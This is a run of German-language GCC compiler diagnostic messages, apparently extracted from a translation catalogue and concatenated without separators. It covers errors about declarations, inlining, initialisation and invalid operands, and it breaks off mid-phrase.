C-Funktion %q#D steht in Konflikt mitDeklaration von namespace %qD steht in Konflikt mitDeklaration der Nicht-Variablen %q+D in Anfangsdeklaration einer %<for%>-SchleifeDeklaration der »static«-Variablen %q+D in Anfangsdeklaration einer %<for%>-SchleifeDeklaration des Templates %q#DDeklarator-ID fehlt: reserviertes Wort %qD wird verwendetVerminderung eines Zeigers auf unbekannte StrukturVerringerung der schreibgeschützten Speicherstelle %qEVerringerung des schreibgeschützten Elementes %qDVerringerung der schreibgeschützten Variable %qDStandardargument %qE verwendet lokale Variable %qDStandardargument für %q#D hat Typ %qTStandardargument für Parameter des Typs %qT hat Typ %qTStandardargument für Parameter %d von %q#D angegebenStandardargument fehlt für Parameter %P von %q+#DStandardargument in expliziter Spezialisierung angegebenStandardargumente sind nicht in Deklaration der friend-Template-Spezialisierung %qD erlaubtDefinition der expliziten Spezialisierung %qD in friend-DeklarationDefinition in Block %i herrscht nicht vor in Block %iDefinition in Block %i folgt der VerwendungDefinition von %q#D ist als »dllimport« markiertDefinition von %q#T in TemplateparameterlisteDeklaration von %qD ist nicht in einem Namensbereich um %qTDefinition des implizit deklarierten %qDDefinition des statischen Datenelementes %q+D einer »dllimport«-ierten KlasseDefinition für explizite Instanziierung angegebenLöschen von %qT ist nicht definiertFeld %q#D wird gelöschtAbhängigenname %qE wird als Nicht-Typ erkannt, aber die Instanziierung liefert einen Typveraltete Konvertierung von Zeichenkettenkonstante in %qTveralteter kovarianter Rückgabetyp für %q+#Dveraltete Verwendung des Standardarguments für Parameter einer Nicht-FunktionDereferenzierte Zeiger sollten einen Namen oder eine Typenmarke habenDereferenzierung eines %<void *%>-ZeigersDereferenzierung eines Zeigers auf unvollständigen TypenDereferenzierung eines Type-Pun-Zeigers könnte strict-aliasing-Regeln verletzenDereferenzierung eines Type-Pun-Zeigers verletzt strict-aliasing-RegelnDeklaration eines abgeleiteten Typsabgeleitete Union %qT ist ungültigDestruktor %qD als Element-Template deklariertDestruktor kann keine statische Elementfunktion seinDestruktor für %qs sollte auch nicht abgearbeitet werdenDestruktor für fremde Klasse %qT kann kein Element seinDestruktorprioritäten werden nicht unterstütztDestruktorprioritäten von 0 bis %d sind für die Implementierung vorbehaltenDestruktorprioritäten müssen Ganzzahlen von 0 bis einschließlich %d seinDestruktoren dürfen nicht CV-qualifiziert seinDestruktoren dürfen keine Parameter habendirekte Basis %qT ist in %qT durch Mehrdeutigkeit unzugänglichAnderer Objective-C-Typ in RückgabeDivision durch Nullunterstützt nicht multilibHerrscher über %d sollte %d sein, nicht %dunbekannter Status für Herrscher über %ddoppeltes %<const%>doppeltes %<restrict%>doppeltes %<volatile%>doppeltes %qEDoppelte (oder sich überschneidende) case-Wertedoppeltes ConstantValue-Attribut für Feld »%s«doppelter asm-Operandenname %qsdoppelter Basistyp %qT ungültigDoppelter case-Wertdoppelte Deklaration für Protokoll %qsdoppelte Deklaration der Methode %<%c%s%>doppelte explizite Instanziierung von %q#Ddoppelte explizite Instanziierung von %q#Tdoppelte Initialisierung von %qDdoppelte Schnittstellendeklaration für Kategorie %<%s(%s)%>doppelte Schnittstellendeklaration für Klasse %qsdoppelte Marke %qDDoppelte Markendeklaration %qEdoppeltes Element %q+Dungültige Initialisierungdynamische Abhängigkeit %s nicht gefundendynamic_cast von %q#D nach %q#T kann nie erfolgreich seinKante %s->%s hat keine passende call_stmtKante von %d nach %d sollte als irreduzibel markiert werdenKante von %d nach %d sollte nicht als irreduzibel markiert werdenKante zeigt auf falsche Deklaration:Elementare Binäroperationelementare Funktionsargumente bei %C sind nicht konformElementares UnterprogrammElemente des Feldes %q#D haben unvollständigen Typeingebettetes %<\0%> im FormatPIC-Operand wird ausgegeben, aber PIC-Register ist nicht vorbereitetLeere DeklarationLeere Deklaration mit Speicherklassenangabe redeklariert nicht SymbolLeere Deklaration mit Typqualifizierer redeklariert nicht Symbolleerer Indexbereich in Initialisierungleere linke Präzision im Format %sfehlende Präzision im Format %sLeerer Wertebereich angegebenleere Skalar-InitialisierungDas Aktivieren der Ablaufverfolgung ist nur bei der Übersetzung für THUMB sinnvollDas Aktivieren der Unterstützung der Aufgerufenen-Zusammenarbeit ist nur bei der Übersetzung für THUMB sinnvollDas Aktivieren der Unterstützung der Aufrufer-Zusammenarbeit ist nur bei der Übersetzung für THUMB sinnvolleinschließende Klassentemplates werden nicht explizit spezialisiertEnde-Befehl %d für Block %d nicht im Befehlsstrom gefundenAufzählungs- und Nicht-Aufzählungstyp in bedingtem AusdruckAufzählungsfehler in bedingtem Ausdruck: %qT vs. %qTAufzählungswerte überschreiten Wertebereich des größten GanzzahltypenAufzählungswert für %qD ist keine GanzzahlkonstanteAufzählungswert für %qE ist keine GanzzahlkonstanteUmgebungsvariable »%s« nicht definiertUmgebungsvariable DJGPP nicht definiertUmgebungsvariable DJGPP zeigt auf kaputte Datei »%s«Umgebungsvariable DJGPP zeigt auf fehlende Datei »%s«Fehler beim Schließen von %s: %mFehler in Argumenten für Spezifikationsfunktion »%s«Fehler im Konstantenbasiseintrag #%d
Fehler beim Analysieren der KonstantenbasisFehler beim Analysieren der Konstantenbasis
Fehler bei der Analyse der FelderFehler bei der Analyse der Felder
Fehler beim Analysieren der final-AttributeFehler beim Analysieren der final-Attribute
Fehler beim Analysieren der MethodenFehler beim Analysieren der Methoden
Fehler beim Lesen von %s aus ZIP-DateiFehler beim Schreiben von %qsFehler beim Schreiben der Datei %s: %mFehler: Ausnahmebehandlung ausgeschaltet, benutzen Sie -fexeptions zum EinschaltenAusnahme des Typs %<%T%> wird gefangen werdenElementüberschreitung in FeldinitialisierungElementüberschreitung in char-Feld-InitialisierungElementüberschreitung in SkalarinitialisierungElementüberschreitung in struct-InitialisierungElementüberschreitung in union-InitialisierungElementüberschreitung in VektorinitialisierungAusführungszähler voraussichtlichexpand_binop in movsi got gescheitertAuflösungsmuster %<%E%> enthält keine ArgumentpacksAuflösungsmuster %<%T%> enthält keine ArgumentpacksKlausel %<#pragma omp%> erwartet%<(%> erwartet%<(%> oder Zeilenende erwartet%<+%>, %<*%>, %<-%>, %<&%>, %<^%>, %<|%>, %<&&%> oder %<||%> erwartet%<,%> oder %<;%> erwartet%<,%> oder %<}%> erwartet%<,%>, %<;%> oder %<}%> erwartet%<:%> oder %<...%> erwartet%<:%>, %<,%>, %<;%>, %<}%> oder %<__attribute__%> erwartet%<;%> erwartet%<=%> erwartet %<=%>, %<,%>, %<;%>, %<asm%> oder %<__attribute__%> erwartet%<none%> oder %<shared%> erwartet%<{%> erwartet%d Ebenen von Template-Parametern für %q#D erwartet, %d erhalten [error|warning|ignored] nach %<#pragma GCC diagnostic%> erwartetSSA_NAME-Objekt erwartetKlassenname erwartetDeklaration oder Anweisung erwartetDeklarationsspezifizierer erwartetDeklarationsspezifizierer oder %<...%> erwartetAusdruck erwartetBezeichner erwartetBezeichner oder %<(%> erwartetBezeichner oder %<*%> erwartetGanzzahlausdruck erwartetSchleifendeklaration oder Initialisierung erwartetQualifizierten Namen in Friend-Deklaration für Konstruktor %qD erwartetQualifizierten Namen in Friend-Deklaration für Destruktor %qD erwartetSpezifizierer-Qualifizierer-Liste erwartetAnweisung erwartetZeichenkettenliteral erwartetKosten einer Aufrufoperation relativ zu gewöhnlichen arithmetischen OperationenExplizites Goto am Ende von bb %dexplizite Instanziierung von %q#Dexplizite Instanziierung von %q#T vor Definition des Templatesexplizite Instanziierung von %qD, aber keine Definition verfügbarexplizite Instantiierung von %qD in Namensbereich %qD (das nicht Namensbereich %qD einschließt)explizite Instanziierung des Nicht-Templates %q#Dexplizite Instanziierung des Nicht-Templatetyps %qTexplizite Qualifizierung in Deklaration von %qDexplizite Spezialisierung in Gültigkeitsbereich des Nicht-Namensbereiches %qDexplizite Spezialisierung von %qD nach erster Benutzungder expliziten Spezialisierung von %D muss %<template <>%> vorausgehenexplizite Spezialisierung des Nicht-Templates %qTAusdruck in Zuweisung !$OMP ATOMIC »var = var op expr« muss skalar sein und kann keine Variable bei %L referenzierenAusdruck %qE von abstraktem Klassentyp %qT kann nicht in throw-Ausdruck verwendet werdenAusdrucksanweisung hat unvollständigen Typerweiterte Register haben keine oberen Hälftenexterne Deklaration von %q#D passt nichtextern-Deklaration von %q+D folgt Deklaration ohne Bindungfür Symbol %q+D wird wegen des Attributes %qs externe Bindung benötigtzusätzliches %<;%>zusätzliche geschweifte Klammern am Ende der Initialisierungzusätzliche Elemente in Skalar-InitialisierungZusätzliche ausgehende Kante %d->%dzusätzliche Qualifizierung %<%T::%> an Element %qszusätzliche Typqualifizierer in Format-Argument (Argument %d)belangloses Argument für »%s«-OptionSuche nach Klasse »%s« gescheitertEnde-Status konnte nicht ermittelt werdenVerarbeitungszeiten konnten nicht ermittelt werdenZurückfordern der nicht genötigten Funktion gescheitertFehler in Redeklaration von %q+D: »dllimport«-iertem Symbol fehlt externe BindungFehlschlag bei Vereinfachung der Teil-Zeichenketten-Referenz in DATA-Anweisung bei %LFallthru-Kante hinter einer Kontrollanweisung in bb %dFallthru-Kante nach unbedingtem Sprung %iFall-Through-Kante überschreitet Abschnittsgrenze (bb %i)Fallthru zum Austritt von bb %dAttribute fastcall und cdecl sind nicht verträglichAttribute fastcall und regparm sind nicht verträglichAttribute fastcall und stdcall sind nicht verträglichschwerwiegender Fehler: fclose %sFeld %q+#D mit gleichem Namen wie KlasseFeld %q+D deklarierte ungültigerweise einen FunktionstypenFeld %q+D deklarierte ungültigerweise einen MethodentypenFeld %qD hat unvollständigen TypenFeld %qs als Funktion deklariertFeld %qs hat unvollständigen TypenFeld %qs nicht gefundenFeldinitialisierung ist nicht konstantFeldname nicht in Datensatz- oder union-InitialisierungFeldpräzisionFeldbreiteFeldbreite im printf-FormatFeldbreite im scanf-FormatFeldbreite im strfmon-FormatFeldbreite im strftime-FormatDeklaration von %qs in Datei-Sichtbarkeitsbereich spezifiziert %<auto%>Deklaration von %qs in Datei-Sichtbarkeitsbereich spezifiziert %<register%>FüllzeichenFüllzeichen im strfmon-Formatfind_enum(): Enum nicht gefundenfini-Funktion im Objekt %s gefundenerstes Argument von %q+D sollte %<int%> seinErstes Argument für %<va_arg%> nicht vom Typ %<va_list%>fix_sched_param: unbekannter Parameter: %sFestkommaüberlauf in AusdruckFestkommatypen werden für dieses Ziel nicht unterstütztGleitkommakonstante überschreitet Wertebereich von %qTGleitkommakonstante falsch benutztGleitkommakonstante auf Null abgeschnittenGleitkommakonstante ist kein gültiger direkter OperandGleitkommaüberlauf in AusdruckFlusskontrollbefehl innerhalb eines Basis-BlockesFaltungstest: ursprünglicher Baum durch Faltung geändertfopen %sfür Anweisung erwartetFür Template-Deklaration %q+Dformat %q.*s erwartet Typ %<%T%s%>, aber Argument %d hat Typ %qTFormat %q.*s erwartet Typ %<%s%s%>, aber Argument %d hat Typ %qTFormatargument %d nicht verwendet vor benutztem Argument %d im $-Stil-FormatFormatargument %d mehr als einmal im %s-Format verwendetFormat ist »wide character«-ZeichenketteFormat ist kein Zeichenkettenliteral, und keine FormatargumenteFormat ist kein Zeichenkettenliteral, Argumenttypen ungeprüftFormat ist kein Zeichenkettenliteral, Formatzeichenkette ungeprüftFormat-Zeichenkettenargument folgt den zu formatierenden ArgumentenFormat-Zeichenkettenargument ist kein ZeichenkettentypFormatzeichenkette hat ungültige Operandenzahl%s wird in Referenztyp %qT umgeformtReferenz auf »void« wird gebildet%<-%s%> statt %<+%s%> in Protokoll(en) gefundenStandardname mit nichtleerer Definitionsanweisung gefundenreale Definition für Nicht-Register gefundenvirtuelle Definition für ein GIMPLE-Register gefundenSSA_NAME gefunden, das bereits in den Frei-Bereich geschoben wurdeFP-Software-Vervollständigung benötigt -mtrap-precision=ifr30_print_operand: ungültiger Code %%Ffr30_print_operand: ungültiger Code %%xfr30_print_operand: ungültiger Operand für Code %%Afr30_print_operand: unbehandeltes MEMfr30_print_operand: unbekannter Codefr30_print_operand: nicht erkannter Code %%Bfr30_print_operand: nicht erkannter Code %%bfr30_print_operand: nicht erkannter Code %%pfr30_print_operand_address: unbehandelte AdresseRahmengröße von %qs ist Rahmengröße der Funktion %qs ist Rahmengröße zu groß für zuverlässige Kellerüberprüfung»friend«-Deklaration %q#D deklariert eine Nicht-Template-FunktionFriend-Deklaration %qD in lokaler Klasse ohne vorherige Deklarationfriend-Deklaration nicht in Klassendefinitionfriend-Deklaration erfordert Klassenschlüssel, d.h. %<friend %#T%>friend-Deklaration erfordert Klassenschlüssel, d.h. %<friend class %T::%D%>von vorheriger Deklaration %q+Fvon dieser Stellefrv_print_operand: unbekannter CodeFunktion %q#D ist wie eine Variable initialisiertFunktionsdefinition von %q+D ist als »dllimport« markiertFunktion %q+D wurde nach vorheriger Deklaration als »dllimport« definiert: Attribut ignoriertFunktion %q+D als inline redeklariertFunktion %q+D mit Attribut noinline redeklariertdie Funktion %q+F kann nie »inline« sein, da sie ein berechnetes »goto« enthältFunktion %q+F kann nie inline sein, da dies mit -fno-inline unterdrückt wirddie Funktion %q+F kann nie »inline« sein, da sie ein nichtlokales »goto« empfängtdie Funktion %q+F kann nie »inline« sein, da sie die Adresse einer lokalen Marke in statischer Variablen speichertdie Funktion %q+F kann nie »inline« sein, da sie __builtin_return oder __builtin_apply_args verwendetdie Funktion %q+F kann nie »inline« sein, da sie alloca verwendet (zum Aufheben: Attribut »always_inline« verwenden)Funktion %q+F kann nie inline sein, da sie mit inline in Konflikt stehende Attribute hatdie Funktion %q+F kann nie »inline« sein, da sie ein nichtlokales »goto« enthältdie Funktion %q+F kann nie »inline« sein, da sie setjmp verwendetdie Funktion %q+F kann nie »inline« sein, da sie »setjmp-longjmp«-Ausnahmebehandlung verwendetdie Funktion %q+F kann nie »inline« sein, da sie eine variable Argumentliste verwendetdie Funktion %q+F kann nie »inline« sein, da sie Variablen variabler Größe verwendetFunktion %qD als virtuell innerhalb einer Union deklariertFunktion %qD ist wie eine Variable initialisiertFunktion %qs kann nicht als %<mutable%> deklariert seinFunktionskörper nicht verfügbarFunktionsaufruf hat zusammengesetzten WertFunktion über nicht kompatiblen Typen aufgerufenFunktionsdeklaration ist kein Prototypals %<noreturn%> deklarierte Funktion hat %<return%>-AnweisungFunktionsdefinition deklarierte %<__thread%>Funktionsdefinition deklarierte %<auto%>Funktionsdefinition deklarierte %<register%>Funktionsdefinition deklarierte %<typedef%>Funktionsdefinition deklariert keine ParameterFunktionsdefinition hat qualifizierten void-RückgabetypenFunktion gibt keinen Zeichenkettentypen zurückFunktion könnte möglicher Kandidat für Formatattribut %qs seinFunktion kommt nicht für »inline« in BetrachtFunktion nicht »inline« deklariert und Codegröße würde wachsenFunktion kann nicht »inline« seinFunktion kein Kandidat für »inline«Rückgabetyp der Funktion kann keine Funktion seinFunktionsrückgabetypen nicht kompatibel wegen %<volatile%>Funktion gibt eine FunktionFunktion gibt ein Feld zurückFunktion liefert Adresse einer lokalen Variablen zurückFunktion gibt Aggregat zurückTeilspezialisierung %qD des Funktionstemplates ist nicht erlaubtFunktionstypen nicht wirklich kompatibel in ISO-CFunktions-Gültigkeitsbereich %qs ist implizit auto und deklarierte %<__thread%>function_profiler-Unterstützungfunction_profiler-Unterstützung für MMIXgcc-Treiberversion %s %s führt GCC-Version %s aus
gcc-Version %s %s
gcov %s%s
allgemeiner Thunk-Code für Methode %q#D mit %<...%> scheitertKern-Dateigrößenlimit wird geholt: %mgfc_conv_constant_to_tree(): ungültiger Typ: %sgfc_trans_code(): Falscher AnweisungscodeGimplifikation gescheitertglobale Konstruktoren werden für dieses Ziel nicht unterstütztglobale Deklaration von %q+#Dglobale Destruktoren werden für dieses Ziel nicht unterstütztglobale Register-Variable %qD in verschachtelter Funktion verwendetglobale Register-Variable %qs in verschachtelter Funktion verwendetglobale Registervariable folgt einer Funktionsdefinitionglobale Registervariable hat AnfangswertGlobale/statische Variablenzuweisung wurde abgefangen%d Template-Parameter für %q#D erhalten%d Template-Parameter für %q#T erhaltengp ist konstant (aber gp wird bei indirekten Aufrufen gesichert/wiederhergestellt)gp_offset (%ld) oder end_offset (%ld) ist kleiner als NullPCH musste verschoben werdenHardware-Fließkommacode für MIPS16 für ABIs außer o32 und o64Kopf-Befehl %d für Block %d nicht im Befehlsstrom gefundenum wie viel eine Übersetzungseinheit durch »inline« wachsen kann (in Prozent)iWMMXt und Hardware-Gleitkommaia64_print_operand: unbekannter CodeBezeichner %<%s%> wird in C++0x ein SchlüsselwortWenn dieser Code erreicht wird, wird das Programm abgebrochen%<#pragma align%> wird für explizit ausgerichtetes %q+D ignoriertQualifizierer %qV an Funktionstyp %qT werden ignoriert-fschedule-insns wird wegen Ausnahmebehandlungsfehler ignoriertasm-Symbol für nicht-statische lokale Variable %q+D wird ignoriertauf %qT nach einer Definition angewandte Attribute werden ignoriertauf Klassentyp %qT angewandte Attribute außerhalb einer Definition werden ignoriertauf abhängigen Typ %qT angewandte Attribute ohne zugehörige Deklaration werden ignoriertdoppeltes Verzeichnis »%s« wird ignoriert
Falsch geformtes #pragma longcall wird ignoriertnicht vorhandenes Verzeichnis »%s« wird ignoriert
»gepackt«-Attribut für ungepacktes nicht-POD-Feld %q+#D wird ignoriertunbekannte Option %q.*s in %<-fdump-%s%> wird ignoriertunzulässiger Aggregattyp %qs für Instanzvariable %qs angegebenunzulässiger Referenztyp für Instanzvariable %qs angegebenImplizite Deklaration der Funktion %qEimplizit geholte (»pop«) Register müssen oben auf dem Stack gruppiert werdenimpliziertes END DOunmögliche Bedingung in »asm«unmögliche Registerbedingung in %<asm%>in %s, bei %s:%dim Basis-Block %d:in Deklaration %q+Dbei Übergabe des Arguments %P von %q+Din Anweisungunpassender Akkumulator für %qsEingehende Kantenzahl passt nicht zur Anzahl der PHI-ArgumenteUnverträgliche implizite Deklaration der eingebauten Funktion %qDUnverträgliche implizite Deklaration der Funktion %qDInkompatibler Typ für Argument %d von %qEunverträgliche Typen in Zuweisung von %qT an %qTunvollständige »%s«-Optionunvollständige Implementierung der Kategorie %qsunvollständige Implementierung der Klasse %qsunvollständiger Typ %qT hat kein Element %qDunvollständiger Typ %qT nicht erlaubtwidersprüchliche Spezifikation von Instanzvariableinkonsistente Operandenbedingungen in einem %<asm%>Falscher Befehl:falscher gemeinsame Verwendung von BaumknotenErhöhung eines Zeigers auf unbekannte StrukturErhöhung der schreibgeschützten Speicherstelle %qEErhöhung des schreibgeschützten Elementes %qDErhöhung der schreibgeschützten Variable %qDIndex in Dimension %d ist außerhalb der Grenzen bei %LIndexwert statt Feldname in Union-Initialisierunginit-Funktion im Objekt %s gefundenInitialisierung streicht Qualifizierer von Zeiger-ZieltypInitialisierung von anderem Objective-C-TypInitialisierung von inkompatiblem ZeigertypLinke-Initialisierung könnte Kandidat für Formatattribut seinInitialisierung erzeugt Ganzzahl von Zeiger ohne TypkonvertierungInitialisierung erzeugt Zeiger von Ganzzahl ohne TypkonvertierungInitialisierung erzeugt aus unqualifiziertem einen qualifizierten FunktionszeigerInitialisierung eines flexiblen Feld-ElementsInitialisierung eines flexiblen Feld-Elements in geschachteltem KontextInitialisierungszeichenkette abgeschnitten um an Variable bei %L anzupasseninitialisiertes Feld überschriebeninitialisiertes Feld mit Seiteneffekten überschriebeninitialisierte Variable %q+D ist als »dllimport« markiertInitialisierungs-Element ist zur Lade-Zeit nicht berechenbarInitialisierungselement ist nicht konstantInitialisierung endet vorzeitigInitialisierung gibt nicht die Größe von %q+D anInitialisierung gibt nicht die Größe von %qD anInitialisierung für %qT muss geklammert seinInitialisierung für Gleitkommawert ist keine GleitkommakonstanteInitialisierung für Ganzzahl-/Gleitkommazahlwert ist zu kompliziertInitialisierung ungültig für statisches Element mit KonstruktorInitialisierung für nicht-virtuelle Methode %q+D angegebenInitialisierung für statische Element-Funktion %qD angegebenInitialisierungs-Zeichenkette für char-Feld ist zu langCode inline einbetten, um Befehlscache nach dem Aufsetzen verschachtelter Funktionstrampolines zu verwerfeninline-Deklaration von %qD folgt Deklaration mit Attribut noinline»inline«-Funktion %q+D ist als »dllimport« deklariert: Attribut ignoriertInline-Funktion %q+D deklariert, aber nirgendwo definiertinline-Funktion %q+D wurde das Attribut »noinline« gegeben»inline«-Funktion %q+D ist als »dllimport« deklariert: Attribut ignoriertinline-Funktion %q+D verwendet, aber nirgendwo definiertinlined_to-Zeiger gesetzt, aber keine Vorgänger gefundeninlined_to-Zeiger ist falschIilined_to-Zeiger verweist auf sich selbstinlined_to-Zeiger für Nicht-Inline-Aufrufer gesetzt»inline« beim Aufruf von %q+F gescheitert: %sBedingung für Eingabeoperanden enthält %qcBasisblockzeiger des Befehls %d ist %d, sollte %d seinBefehl %d am Ende des Basisblocks %d hat Nicht-NULL als BasisblockBefehl %d im Kopf des Basisblockes %d hat Nicht-NULL als BasisblockBefehl %d innerhalb des Basis-Blockes %d, aber block_for_insn ist %iBefehl %d innerhalb des Basis-Blockes %d, aber block_for_insn ist NULLBefehl %d ist in mehreren Basisblöcken (%d und %d)Befehl %d außerhalb eines Basis-Blockes hat Nicht-NULL als BasisblockfeldBefehl erfüllt nicht seine Bedingungen:Befehl außerhalb eines Basis-Blockesinstalliere: %s%s
in Klassenmethode wird auf Instanzvariable %qs zugegriffenInstanzvariable %qs hat unbekannte GrößeInstanzvariable %qs ist %s; dies wird zukünftig ein schwerer Fehler seinInstanzvariable %qs ist als »%s« deklariertInstanzvariable %qs ist als »private« deklariertZuweisung der Instanzvariable wurde abgefangenInstanziierung von %q+D als Typ %qTAnweisung wird niemals ausgeführtBefehlsplanung wird von dieser Zielmaschine nicht unterstütztZu wenig Argumente für überladene Funktion %sint-Feld mit Nicht-wide-Zeichenkette initialisiertGanzzahlkonstante ist zu groß für %qs-Typinteger kind=8 nicht verfügbar für Option -fdefault-integer-8Ganzzahlüberlauf in AusdruckGanzzahlausdruck %qE ist nicht konstantOptimierungen zwischen Modulen noch nicht implementiert für C++die Schnittstelle %qs hat keine gültige Form einer konstanten Zeichenketteinterne und geschützte Sichtbarkeitsattribute werden in dieser Konfiguration nicht unterstützt; ignoriertInterner Compiler-Fehler. Falsche Adresse:Interner Compiler-Fehler. Falsche Verschiebung:Interner Compiler-Fehler. Unbekannter Modus:interner Compiler-Fehler: internes Konsistenzprobleminterner Fehler - ungültiger UTF-8-Nameinterner Fehler: falsches Register: %dinterner Fehler: cris_side_effect_mode_ok mit falschen Operandeninterner Fehler: Seiteneffekt-Befehl wirkt sich auf Haupteffekt ausinterner GCC-Abbruch in %s, bei %s:%dInterrupt-Dienst-Routinen können nicht im »Thumb«-Modus codiert werdeninterrupt_thread ist nur auf Fido verfügbarinnere Variable, die keine Prozedur istungültiges #pragma %sungültiger %%-Codeungültiger %%A-Operandungültiger %%B-OperandUngültiger %%C-Wertungültiger %%D-WertUngültiger %%E-Wertungültiger %%F-Wertungültiger %%G-WertUngültiger %%H-Wertungültiger %%J-CodeUngültiger %%J-Wertungültiger %%K-WertUngültiger %%L-WertUngültiger %%M-WertUngültiger %%N-Wertungültiger %%O-Wertunbekannter Operand für %%PUngültiger %%P-WertUngültiger %%R-Wertungültiger %%S-Wertungültiger %%T-WertUngültiger %%U-Wertungültiger %%Y-Operandungültiger %%c-Operandungültiger %%d-Operandungültiger %%d-Wertungültiger %%f-Operandungültiger %%f-WertUngültiger %%h-Wertungültiger %%j-Codeungültiger %%j-Wertungültiger %%k-WertUngültiger %%m-Wertunbekannter Wert für %%pungültiger %%q-WertUngültiger %%r-Wertungültiger %%s-OperandUngültiger %%s-Wertungültiger %%t/%%b-Wertungültiger %%u-Wertungültiger %%v-Wertungültiger %%x-WertUngültiger %%xn-Codeungültiges »asm«: ungültige (Zeiger-) Operanden für Plus/Minusungültiger Wert für --param: %qsungültige ABI-Option -mabi=%sungültiges IACC-Argumentungültiges PC in Zeilennummerntabelleungültiges UNSPEC als Operandungültiger Z-Register-Ersatz für Befehlungültiger abstrakter Rückgabetyp für Funktion %q+#Dungültiger abstrakter Rückgabetyp für Elementfunktion %q+#Dungültiger abstrakter Typ %qT für %qEungültiger abstrakter Typ für %q+Dungültiger Zugriff auf nicht-statisches Datenelement %qD des NULL-Objektesungültige Adresseungültige Ausrichtung für %<#pragma align%> - ignoriertungültige Anwendung von %<__alignof%> auf ein Bitfeldungültige Anwendung von %<sizeof%> auf ein BitfeldUngültige Anwendung von %<sizeof%> auf einen Funktionstypenungültige Anwendung von %qs auf ElementfunktionUngültige Anwendung von %qs auf einen void-TypenUngültige Anwendung von %qs auf unvollständigen Typen %qTungültiges Argument %qs für -fdebug-prefix-mapungültiges Argument für Attribut %qsUngültiges Argument für %<__builtin_frame_address%>Ungültiges Argument für %<__builtin_return_address%>ungültiges Argument für eingebaute FunktionUngültiger Feldzuweisungungültige Spezifizierung der Basisklasseungültige Umwandlung von Typ %qT in Typ %qTungültige Typumwandlung eines R-Wert-Ausdrucks des Typs %qT in Typ %qTungültige Umwandlung in Funktionstyp %qTungültiger bedingter Operandungültiges const_cast von Typ %qT in Typ %qTungültiges const_cast eines R-Wertes des Typs %qT in Typ %qTungültiger const_double-Operandungültige Konstante in %<#pragma pack%> - ignoriertungültige Konstante in %<#pragma pop_macro%> - ignoriertungültige Konstante in %<#pragma push_macro%> - ignoriertungültige Bedingungen für Operandungültiger Konstruktor; wahrscheinlich war %<%T (const %T&)%> gemeintungültige Umwandlung von %<__fpreg%>ungültige Umwandlung von %qT in %qTungültige Umwandlung in %<__fpreg%>ungültige Umwandlung in Typ %qT von Typ %qTungültiger kovarianter Rückgabetyp für %q+#Dungültiges Standardargument für einen Template-Templateparameterungültige Definition des qualifizierten Typen %qTungültiger Eintritt in strukturierten OpenMP-Blockungültiger Ausgang von strukturiertem OpenMP-Blockungültiger Ausdruck als Operandungültiger Ausdruck für Min-L-Wertungültiger Ausdruckstyp für %<#pragma omp atomic%>Ungültiges Gleitkomma-ABI: -mfloat-abi=%sUngültige Option für Gleitkommaemulation: -mfpe-%sUngültige Gleitkommaoption: -mfpu=%sungültige Funktionsdeklarationungültige Initialisierung innerhalb der Klasse des statischen Datenelements vom nicht eingebauten Typen %qTungültiger Anfangswert für Element %qsungültige Initialisierung einer nicht-konstanten Referenz des Typs %qT von temporärem Wert des Typs %qTungültige Initialisierung einer Referenz des Typs %qT von Ausdruck des Typs %qTungültige InitialisierungUngültiger Befehl:ungültiger L-Wert in asm-Ausgabe %dungültige Maskeungültige Elementfunktionsdeklarationungültige Elementtemplatedeklaration %qDungültiger Operandencode »%c«ungültiger Operand für Modifizierer »A«ungültiger Operand für Modifizierer »D«ungültiger Operand für Modifizierer »H«ungültiger Operand für Modifizierer »O«ungültiger Operand für Modifizierer »T«ungültiger Operand für Modifizierer »b«ungültiger Operand für Modifizierer »e«ungültiger Operand für Modifizierer »m«ungültiger Operand für Modifizierer »o«ungültiger Operand für Modifizierer »p«ungültiger Operand für Modifizierer »z«ungültiger Operand für Code »%c«ungültiger Operand für Code: »%c«ungültiger Operand in indirekter Referenzungültiger Operand im Befehlungültiger Operand in unärem Ausdruckungültiger Modifizierer-Buchstabe für OperandUngültiger Operanden-AusgabecodeUngültiger Operand für %%H/%%L-Codeungültiger Operand für Code %%Nungültiger Operand für %%RUngültiger Operand für %%R-Codeungültiger Operand für %%Sungültiger Operand für Code %%T/%%BUngültiger Operand für %%U-CodeUngültiger Operand für %%V-Codeungültiger Operand für Code %%pungültiger Operand für Code %%sungültiger Operand für Plus/Minus, Typ ist ein Zeigerungültiger Operand für Zeiger-Plus, erster Operand ist kein Zeigerungültiger Operand für Zeiger-Plus, zweiter Operand ist keine Ganzzahl mit Größentypungültiger Operand für switch-Anweisungungültige Operanden der Typen %qT und %qT für binäres %qOungültige Operanden in FeldreferenzUngültige Operanden für binäres %s (haben %qT und %qT)ungültige Operation auf %<__fpreg%>ungültiger Operator für %<#pragma omp atomic%>ungültiges Optionsargument %qsungültige Option für -mfloat-gprs: »%s«ungültiger Parameter %qsungültige Parameterkombination für intrinsisches AltiVecungültiger Parametertyp %qTUngültiger Zeigermodus %qsungültiger Zeiger auf Bitfeld %qDungültiges Zeichen %qc in Bedingungungültige Qualifizierer an Nicht-Element-Funktionstypungültiger angegebener Gültigkeitsbereich in Pseudodestruktor-Nameungültiger Empfängertyp %qsungültige Redeklaration von %q+Dungültiger Referenzprefixungültiges Register im Befehlungültiges Register in Kopierbefehlungültiger Registername für %q+Dungültiger Rotierbefehlungültige gemeinsame rtl-Benutzung in Befehl gefundenungültige AblaufartUngültiges zweites Argument für %<__builtin_prefetch%>; es wird Null verwendetungültiger Schiebeoperandungültiges static_cast vom Typ %qT in den Typ %qTungültige Speicherklasse für Funktion %qsungültiger Wert »%d« für Ziel-Memregsungültige Templatedeklaration von %qDUngültiges drittes Argument für %<__builtin_prefetch%>; es wird Null verwendetUngültige Threadzeiger-Option: -mtp=%sungültiger Typ %<void%> für %<new%>Ungültiger Typ %qT als Initialisierung für einen Vektor des Typs %qTungültiger Typ %qT als %<friend%> deklariertungültiges Typargumentfalsches Typ-Argument von %qsungültiger Argumenttyp von %qs (haben %qT)ungültige Typen %<%T[%T]%> für Feldindexungültige Typen in Umwandlung zu Gleitkommaungültige Typen in Umwandlung in Ganzzahlungültige Typen in NOP-Umwandlungungültige Verwendung von %%d, %%x oder %%Xungültige Verwendung von %<::%>Ungültige Verwendung von %<restrict%>ungültige Verwendung von %<this%> auf höchster Ebeneungültige Verwendung von %<this%> in Nicht-Element-Funktionungültige Verwendung von %qDungültige Verwendung von %qE um Zeiger auf Elementfunktion zu erzeugenungültige Verwendung von %qs bei Zeiger auf Elementungültige Verwendung von »%%%c«ungültige Verwendung des Modifizierers »:«ungültige Verwendung eines Boole'schen Ausdruck als Operand für %<operator--%>ungültige Verwendung eines Zeigers auf einen unvollständigen Typen in Zeigerarithmetikfalsche Benutzung eines 